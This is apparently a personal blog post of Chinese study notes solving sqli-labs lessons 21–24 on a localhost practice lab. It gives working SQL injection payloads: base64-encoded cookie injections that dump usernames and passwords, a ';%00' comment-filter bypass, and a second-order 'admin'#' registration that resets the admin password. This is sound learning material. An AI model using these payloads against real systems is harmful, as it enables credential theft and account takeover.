note-11

less-21

根据题目提示先登正确账户密码吗,然后bp抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /sqli-labs/Less-21/index.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/sqli-labs/Less-21/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: uname=YWRtaW4%3D
Connection: close

看到cookie中uname明显不是用来登录的admin,是admin经过base64加密后的字符

1
Cookie: uname=YWRtaW4%3D

用赛博厨子解出来尽然是

1
2
3
YWRtaW4%3D
decode base64=
admin7

怀疑是后面%3D是url字符,
将构建好的闭合点加密成base64后再上传

1
2
3
YWRtaW4n
回显
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') LIMIT 0,1' at line 1

最后测出闭合语句

1
2
3
uname=YWRtaW4nKSM=
base解码就是
uname=admin')#

最后payload

1
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoaWQsdXNlcm5hbWUsJyEnLHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==

less-22

和上题解法一样,就是换了闭合点

最终payload

1
Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChpZCx1c2VybmFtZSwnIScscGFzc3dvcmQpIGZyb20gdXNlcnMj

less-23

看题目,
strip comment,看翻译是删除注释,不懂啥意思
看一眼网页源码,

1
2
3
4
5
6
7
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

闭合点是’
但好像把#,–,这种注释给替换成空字符了,
有没有不用注释的方法呢,
注释的作用是把后面的语句无效化。
那试试绕过?双写绕过试试?
不行,实在试不出来,去看博客吧

采用闭合的方式:

1
?id=' or extractvalue(1,concat(0x7e,database())) or' 

好像是拼入源码会变成

1
$sql="SELECT * FROM users WHERE id='' or extractvalue(1,concat(0x7e,database())) or'' LIMIT 0,1";

对比

1
2
3
4
$sql="SELECT * FROM users WHERE id=''union select #' LIMIT 0,1";
//若此出注释符被过滤,则会多出一个单引号导致无法注入
//被过滤后的结果
$sql="SELECT * FROM users WHERE id=''union select' LIMIT 0,1";

采用;%00替换注释

采用;%00替换注释:

1
?id=1';%00

%00 是 URL 编码的空字符(\x00)

组合 ;%00 的完整逻辑
攻击者通过 ;%00 实现以下目标:

结束当前语句:分号 ; 终止 UNION SELECT 查询。

截断后续内容:空字符 %00 让后端忽略原查询中可能存在的其他条件(如 LIMIT 1 或 AND 子句)。

绕过闭合引号:如果原查询的闭合引号在空字符后被截断,可能避免语法错误。

最后payload:

1
?id=' union select 1,2,group_concat(username,':',password) from users;%00

less 24 二次注入

二次注入
二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。

看别的大佬博客

在注册新用户中注册已有的用户名会提示不行,但是username没有被过滤,可从username下手。

我们先注册一个账号名叫admin’#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。

之后也用户名admin’#和密码是123456登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。

当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。

我的总结理解是在注册新用户时把有污染的数据写入数据库,当再修改admin’#时会直接把admin’#拼入修改的查询语句,而注释掉了原来验证原账号密码的部分

原语句:

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "

当登录admin’#并点修改密码时会出现

1
$sql = "UPDATE users SET PASSWORD='1234' where username='admin'#' and password='$curr_pass' "

这样就会变成修改admin的密码而不是admin’#的,并且会将后面验证admin密码的部分注释掉。


note-11
https://aidemofashi.github.io/2025/03/12/note-11/
作者
aidemofashi
发布于
2025年3月12日
许可协议